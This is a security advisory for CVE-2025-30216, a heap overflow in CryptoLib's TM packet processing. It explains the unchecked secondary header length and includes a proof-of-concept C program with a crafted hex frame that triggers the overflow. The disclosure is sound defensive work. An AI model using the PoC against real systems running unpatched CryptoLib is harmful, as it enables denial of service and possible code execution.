Skip to content

Heap Overflow in Crypto_TM_ProcessSecurity due to Unchecked Secondary Header Length

Critical
jlucas9 published GHSA-v3jc-5j74-hcjv Mar 25, 2025

Package

CryptoLib

Affected versions

<= 1.3.3

Patched versions

None

Description

Summary

A Heap Overflow vulnerability occurs in the Crypto_TM_ProcessSecurity function (crypto_tm.c:1735:8). When processing the Secondary Header Length of a TM protocol packet, if the Secondary Header Length exceeds the packet's total length, a heap overflow is triggered during the memcpy operation that copies packet data into the dynamically allocated buffer p_new_dec_frame. This allows an attacker to overwrite adjacent heap memory, potentially leading to arbitrary code execution or system instability.

Details

The Crypto_TM_ProcessSecurity function dynamically allocates a buffer (p_new_dec_frame) based on the packet length (len_ingest) and copies data into it using memcpy. The number of bytes to copy is calculated as the fixed Primary Header length (6 bytes) plus the variable Secondary Header Length (secondary_hdr_len). However, there is no validation to ensure that 6 + secondary_hdr_len does not exceed the allocated buffer size (len_ingest).

if (status == CRYPTO_LIB_SUCCESS)
{
    // Allocate buffer
    p_new_dec_frame = (uint8_t*)calloc(1, (len_ingest) * sizeof(uint8_t));
    if (!p_new_dec_frame)
    {
        printf(KRED "Error: Calloc for decrypted output buffer failed! \n" RESET);
        status = CRYPTO_LIB_ERROR;
    }
}

if (status == CRYPTO_LIB_SUCCESS)
{
    // Copy TM Primary Header (6 bytes) and Secondary Header (if present)
    memcpy(p_new_dec_frame, &p_ingest[0], 6 + secondary_hdr_len);
}

The secondary_hdr_len value is determined in the Crypto_TM_Process_Setup function by reading the Secondary Header Length field from the packet and applying a bitwise operation (& 0x3F) to limit its maximum value to 64 bytes:

if (status == CRYPTO_LIB_SUCCESS)
{
    // Secondary Header flag is 1st bit of 5th byte (index 4)
    *byte_idx = 4;
    if ((p_ingest[*byte_idx] & 0x80) == 0x80)
    {
        // Secondary header is present
        *byte_idx = 6;
        // Determine length of secondary header
        *secondary_hdr_len = (p_ingest[*byte_idx] & 0x3F) + 1;
        *byte_idx += *secondary_hdr_len;
    }
    else
    {
        // No Secondary header
        *byte_idx = 6;
    }
}

While the & 0x3F + 1 operation caps secondary_hdr_len at 64 bytes, there is no check to ensure that 6 + secondary_hdr_len does not exceed the total packet length (len_ingest). If len_ingest is smaller than 6 + secondary_hdr_len, the memcpy operation will write beyond the bounds of p_new_dec_frame, causing a heap overflow.

PoC

The C code below is provided to prove the occurrence of the vulnerability:

#include "ut_tm_process.h"

int main()
{
    uint8_t *ptr_processed_frame = NULL;
    uint16_t processed_tm_len;

    Crypto_Config_CryptoLib(KEY_TYPE_INTERNAL, MC_TYPE_INTERNAL, SA_TYPE_INMEMORY, CRYPTOGRAPHY_TYPE_LIBGCRYPT,
                            IV_INTERNAL, CRYPTO_TC_CREATE_FECF_TRUE, TC_PROCESS_SDLS_PDUS_TRUE, TC_HAS_PUS_HDR,
                            TC_IGNORE_SA_STATE_FALSE, TC_IGNORE_ANTI_REPLAY_TRUE, TC_UNIQUE_SA_PER_MAP_ID_FALSE,
                            TC_CHECK_FECF_TRUE, 0x3F, SA_INCREMENT_NONTRANSMITTED_IV_TRUE);

    GvcidManagedParameters_t TM_UT_Managed_Parameters = {
        0, 0x002c, 0, TM_HAS_FECF, AOS_FHEC_NA, AOS_IZ_NA, 0, TM_SEGMENT_HDRS_NA, 1786, TM_NO_OCF, 1};
    Crypto_Config_Add_Gvcid_Managed_Parameters(TM_UT_Managed_Parameters);

    Crypto_Init();

    TC_t *tc_sdls_processed_frame;
    tc_sdls_processed_frame = malloc(sizeof(uint8_t) * TC_SIZE);
    memset(tc_sdls_processed_frame, 0, (sizeof(uint8_t) * TC_SIZE));

    char *framed_tm_h   = "02C000009800FF";
    char *framed_tm_b   = NULL;
    int   framed_tm_len = 0;
    hex_conversion(framed_tm_h, &framed_tm_b, &framed_tm_len);

    Crypto_TM_ProcessSecurity((uint8_t *)framed_tm_b, framed_tm_len, &ptr_processed_frame, &processed_tm_len);

    free(framed_tm_b);
    free(tc_sdls_processed_frame);
    Crypto_Shutdown();
}

Additionally, the accompanying video demonstrates the impact of the vulnerability, showing the resulting heap corruption or crash on NOS3.
PoC.webm

Impact

  • Denial of Service (DoS): The application may crash or become unstable due to the out-of-bounds memory access, disrupting service availability in systems relying on CryptoLib for TM packet processing.
  • Remote Code Execution (RCE): If the heap overflow is exploited to corrupt adjacent memory structures (e.g., through heap spraying or precise memory layout manipulation), an attacker could achieve arbitrary code execution, compromising the system’s integrity and security.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

CVE ID

CVE-2025-30216

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Credits